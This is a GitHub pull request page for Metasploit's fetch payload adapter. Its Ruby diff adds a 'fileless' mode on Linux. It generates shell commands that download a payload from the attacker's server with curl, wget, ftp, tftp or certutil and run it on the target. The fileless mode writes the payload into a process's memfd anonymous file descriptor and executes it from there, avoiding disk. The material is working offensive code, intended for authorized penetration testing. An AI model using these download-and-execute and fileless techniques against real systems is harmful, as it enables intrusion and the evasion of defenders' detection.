Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Fileless elf execution #19858

Merged
merged 15 commits into from
Feb 18, 2025
Merged
Show file tree
Hide file tree
Changes from 13 commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
116 changes: 83 additions & 33 deletions lib/msf/core/payload/adapter/fetch.rb
Original file line number Diff line number Diff line change
@@ -1,16 +1,13 @@
module Msf::Payload::Adapter::Fetch

def initialize(*args)
super
register_options(
[
Msf::OptBool.new('FETCH_DELETE', [true, 'Attempt to delete the binary after execution', false]),
Msf::OptString.new('FETCH_FILENAME', [ false, 'Name to use on remote system when storing payload; cannot contain spaces or slashes', Rex::Text.rand_text_alpha(rand(8..12))], regex: /^[^\s\/\\]*$/),
Msf::OptPort.new('FETCH_SRVPORT', [true, 'Local port to use for serving payload', 8080]),
# FETCH_SRVHOST defaults to LHOST, but if the payload doesn't connect back to Metasploit (e.g. adduser, messagebox, etc.) then FETCH_SRVHOST needs to be set
Msf::OptAddressRoutable.new('FETCH_SRVHOST', [ !options['LHOST']&.required, 'Local IP to use for serving payload']),
Msf::OptString.new('FETCH_URIPATH', [ false, 'Local URI to use for serving payload', '']),
Msf::OptString.new('FETCH_WRITABLE_DIR', [ true, 'Remote writable dir to store payload; cannot contain spaces', ''], regex:/^[\S]*$/)
]
)
register_advanced_options(
Expand Down Expand Up @@ -143,15 +140,24 @@ def srvport

def srvuri
return datastore['FETCH_URIPATH'] unless datastore['FETCH_URIPATH'].blank?

default_srvuri
end

def windows?
return @windows unless @windows.nil?

@windows = platform.platforms.first == Msf::Module::Platform::Windows
@windows
end

def linux?
return @linux unless @linux.nil?

@linux = platform.platforms.first == Msf::Module::Platform::Linux
@linux
end

def _check_tftp_port
# Most tftp clients do not have configurable ports
if datastore['FETCH_SRVPORT'] != 69 && datastore['FetchListenerBindPort'].blank?
Expand All @@ -177,32 +183,36 @@ def _determine_server_comm(ip, srv_comm = datastore['ListenerComm'].to_s)
comm = ::Rex::Socket::Comm::Local
when /\A-?[0-9]+\Z/
comm = framework.sessions.get(srv_comm.to_i)
raise(RuntimeError, "Socket Server Comm (Session #{srv_comm}) does not exist") unless comm
raise(RuntimeError, "Socket Server Comm (Session #{srv_comm}) does not implement Rex::Socket::Comm") unless comm.is_a? ::Rex::Socket::Comm
raise("Socket Server Comm (Session #{srv_comm}) does not exist") unless comm
raise("Socket Server Comm (Session #{srv_comm}) does not implement Rex::Socket::Comm") unless comm.is_a? ::Rex::Socket::Comm
when nil, ''
unless ip.nil?
comm = Rex::Socket::SwitchBoard.best_comm(ip)
end
else
raise(RuntimeError, "SocketServer Comm '#{srv_comm}' is invalid")
raise("SocketServer Comm '#{srv_comm}' is invalid")
smcintyre-r7 marked this conversation as resolved.
Show resolved Hide resolved
end

comm || ::Rex::Socket::Comm::Local
end

def _execute_add
return _execute_win if windows?
return _execute_nix
def _execute_add(get_file_cmd)
return _execute_win(get_file_cmd) if windows?

return _execute_nix(get_file_cmd)
end

def _execute_win
def _execute_win(get_file_cmd)
cmds = " & start /B #{_remote_destination_win}"
cmds << " & del #{_remote_destination_win}" if datastore['FETCH_DELETE']
cmds
get_file_cmd << cmds
end

def _execute_nix
cmds = ";chmod +x #{_remote_destination_nix}"
def _execute_nix(get_file_cmd)
return _generate_fileless(get_file_cmd) if datastore['FETCH_FILELESS']

cmds = get_file_cmd
cmds << ";chmod +x #{_remote_destination_nix}"
cmds << ";#{_remote_destination_nix}&"
cmds << "sleep #{rand(3..7)};rm -rf #{_remote_destination_nix}" if datastore['FETCH_DELETE']
cmds
Expand All @@ -211,93 +221,132 @@ def _execute_nix
def _generate_certutil_command
case fetch_protocol
when 'HTTP'
cmd = "certutil -urlcache -f http://#{download_uri} #{_remote_destination}"
get_file_cmd = "certutil -urlcache -f http://#{download_uri} #{_remote_destination}"
when 'HTTPS'
# I don't think there is a way to disable cert check in certutil....
print_error('CERTUTIL binary does not support insecure mode')
fail_with(Msf::Module::Failure::BadConfig, 'FETCH_CHECK_CERT must be true when using CERTUTIL')
cmd = "certutil -urlcache -f https://#{download_uri} #{_remote_destination}"
get_file_cmd = "certutil -urlcache -f https://#{download_uri} #{_remote_destination}"
else
fail_with(Msf::Module::Failure::BadConfig, 'Unsupported Binary Selected')
end
cmd + _execute_add
cmd + _execute_add(get_file_cmd)
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Suggested change
cmd + _execute_add(get_file_cmd)
_execute_add(get_file_cmd)

My bad......

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Thanks for noticing!

end

# The idea behind fileless execution are anonymous files. The bash script will search through all processes owned by $USER and search from all file descriptor. If it will find anonymous file (contains "memfd") with correct permissions (rwx), it will copy the payload into that descriptor with defined fetch command and finally call that descriptor
def _generate_fileless(get_file_cmd)
msutovsky-r7 marked this conversation as resolved.
Show resolved Hide resolved
# get list of all $USER's processes
cmd = 'FOUND=0'
cmd << ";for i in $(ps -u $USER | awk '{print $1}')"
# already found anonymous file where we can write
cmd << '; do if [ $FOUND -eq 0 ]'

# look for every symbolic link with write rwx permissions
# if found one, try to download payload into the anonymous file
# and execute it
cmd << '; then for f in $(find /proc/$i/fd -type l -perm u=rwx 2>/dev/null)'
cmd << '; do if [ $(ls -al $f | grep -o "memfd" >/dev/null; echo $?) -eq "0" ]'
cmd << "; then if $(#{get_file_cmd} >/dev/null)"
cmd << '; then $f'
cmd << '; FOUND=1'
cmd << '; break'
cmd << '; fi'
cmd << '; fi'
cmd << '; done'
cmd << '; fi'
cmd << '; done'

cmd
end

def _generate_curl_command
case fetch_protocol
when 'HTTP'
cmd = "curl -so #{_remote_destination} http://#{download_uri}"
get_file_cmd = "curl -so #{_remote_destination} http://#{download_uri}"
when 'HTTPS'
cmd = "curl -sko #{_remote_destination} https://#{download_uri}"
get_file_cmd = "curl -sko #{_remote_destination} https://#{download_uri}"
when 'TFTP'
cmd = "curl -so #{_remote_destination} tftp://#{download_uri}"
get_file_cmd = "curl -so #{_remote_destination} tftp://#{download_uri}"
else
fail_with(Msf::Module::Failure::BadConfig, 'Unsupported Binary Selected')
end
cmd + _execute_add
_execute_add(get_file_cmd)
end

def _generate_ftp_command
case fetch_protocol
when 'FTP'
cmd = "ftp -Vo #{_remote_destination_nix} ftp://#{download_uri}#{_execute_nix}"
get_file_cmd = "ftp -Vo #{_remote_destination_nix} ftp://#{download_uri}"
when 'HTTP'
cmd = "ftp -Vo #{_remote_destination_nix} http://#{download_uri}#{_execute_nix}"
get_file_cmd = "ftp -Vo #{_remote_destination_nix} http://#{download_uri}"
when 'HTTPS'
cmd = "ftp -Vo #{_remote_destination_nix} https://#{download_uri}#{_execute_nix}"
get_file_cmd = "ftp -Vo #{_remote_destination_nix} https://#{download_uri}"
else
fail_with(Msf::Module::Failure::BadConfig, 'Unsupported Binary Selected')
end
_execute_add(get_file_cmd)
end

def _generate_tftp_command
_check_tftp_port
case fetch_protocol
when 'TFTP'
if windows?
cmd = "tftp -i #{srvhost} GET #{srvuri} #{_remote_destination} #{_execute_win}"
fetch_command = _execute_win("tftp -i #{srvhost} GET #{srvuri} #{_remote_destination}")
else
_check_tftp_file
cmd = "(echo binary ; echo get #{srvuri} ) | tftp #{srvhost}; chmod +x ./#{srvuri}; ./#{srvuri} &"
if datastore['FETCH_FILELESS'] && linux?
return _generate_fileless("(echo binary ; echo get #{srvuri} $f ) | tftp #{srvhost}")
else
fetch_command = "(echo binary ; echo get #{srvuri} ) | tftp #{srvhost}; chmod +x ./#{srvuri}; ./#{srvuri} &"
end
end
else
fail_with(Msf::Module::Failure::BadConfig, 'Unsupported Binary Selected')
end
cmd
fetch_command
end

def _generate_tnftp_command
case fetch_protocol
when 'FTP'
cmd = "tnftp -Vo #{_remote_destination_nix} ftp://#{download_uri}#{_execute_nix}"
get_file_cmd = "tnftp -Vo #{_remote_destination_nix} ftp://#{download_uri}"
when 'HTTP'
cmd = "tnftp -Vo #{_remote_destination_nix} http://#{download_uri}#{_execute_nix}"
get_file_cmd = "tnftp -Vo #{_remote_destination_nix} http://#{download_uri}"
when 'HTTPS'
cmd = "tnftp -Vo #{_remote_destination_nix} https://#{download_uri}#{_execute_nix}"
get_file_cmd = "tnftp -Vo #{_remote_destination_nix} https://#{download_uri}"
else
fail_with(Msf::Module::Failure::BadConfig, 'Unsupported Binary Selected')
end
_execute_add(get_file_cmd)
end

def _generate_wget_command
case fetch_protocol
when 'HTTPS'
cmd = "wget -qO #{_remote_destination} --no-check-certificate https://#{download_uri}"
get_file_cmd = "wget -qO #{_remote_destination} --no-check-certificate https://#{download_uri}"
when 'HTTP'
cmd = "wget -qO #{_remote_destination} http://#{download_uri}"
get_file_cmd = "wget -qO #{_remote_destination} http://#{download_uri}"
else
fail_with(Msf::Module::Failure::BadConfig, 'Unsupported Binary Selected')
end
cmd + _execute_add

_execute_add(get_file_cmd)
end

def _remote_destination
return _remote_destination_win if windows?

return _remote_destination_nix
end

def _remote_destination_nix
return @remote_destination_nix unless @remote_destination_nix.nil?

if datastore['FETCH_FILELESS']
@remote_destination_nix = '$f'
return @remote_destination_nix
end
writable_dir = datastore['FETCH_WRITABLE_DIR']
writable_dir = '.' if writable_dir.blank?
writable_dir += '/' unless writable_dir[-1] == '/'
Expand All @@ -310,12 +359,13 @@ def _remote_destination_nix

def _remote_destination_win
return @remote_destination_win unless @remote_destination_win.nil?

writable_dir = datastore['FETCH_WRITABLE_DIR']
writable_dir += '\\' unless writable_dir.blank? || writable_dir[-1] == '\\'
payload_filename = datastore['FETCH_FILENAME']
payload_filename = srvuri if payload_filename.blank?
payload_path = writable_dir + payload_filename
payload_path = payload_path + '.exe' unless payload_path[-4..-1] == '.exe'
payload_path += '.exe' unless payload_path[-4..] == '.exe'
@remote_destination_win = payload_path
@remote_destination_win
end
Expand Down
12 changes: 6 additions & 6 deletions lib/msf/core/payload/adapter/fetch/linux_options.rb
Original file line number Diff line number Diff line change
@@ -1,13 +1,13 @@
module Msf::Payload::Adapter::Fetch::LinuxOptions

def initialize(info = {})
super(update_info(info,
'DefaultOptions' => { 'FETCH_WRITABLE_DIR' => '/tmp' }
))
super
register_options(
[
Msf::OptEnum.new('FETCH_COMMAND', [true, 'Command to fetch payload', 'CURL', %w{ CURL FTP TFTP TNFTP WGET }])
Msf::OptEnum.new('FETCH_COMMAND', [true, 'Command to fetch payload', 'CURL', %w[CURL FTP TFTP TNFTP WGET]]),
Msf::OptBool.new('FETCH_FILELESS', [true, 'Attempt to run payload without touching disk, Linux ≥3.17 only', false]),
Msf::OptString.new('FETCH_FILENAME', [ false, 'Name to use on remote system when storing payload; cannot contain spaces or slashes', Rex::Text.rand_text_alpha(rand(8..12))], regex: %r{^[^\s/\\]*$}, conditions: ['FETCH_FILELESS', '==', 'false']),
Msf::OptString.new('FETCH_WRITABLE_DIR', [ true, 'Remote writable dir to store payload; cannot contain spaces', '/tmp'], regex: /^\S*$/, conditions: ['FETCH_FILELESS', '==', 'false'])
]
)
end
end
end
2 changes: 1 addition & 1 deletion lib/msf/core/payload/adapter/fetch/windows_options.rb
Original file line number Diff line number Diff line change
Expand Up @@ -2,10 +2,10 @@ module Msf::Payload::Adapter::Fetch::WindowsOptions

def initialize(info = {})
super
deregister_options('FETCH_WRITABLE_DIR')
register_options(
[
Msf::OptEnum.new('FETCH_COMMAND', [true, 'Command to fetch payload', 'CURL', %w{ CURL TFTP CERTUTIL }]),
Msf::OptString.new('FETCH_FILENAME', [ false, 'Name to use on remote system when storing payload; cannot contain spaces or slashes', Rex::Text.rand_text_alpha(rand(8..12))], regex: %r{^[^\s/\\]*$}),
Msf::OptString.new('FETCH_WRITABLE_DIR', [ true, 'Remote writable dir to store payload; cannot contain spaces.', '%TEMP%'], regex:/^[\S]*$/)
]
)
Expand Down
Loading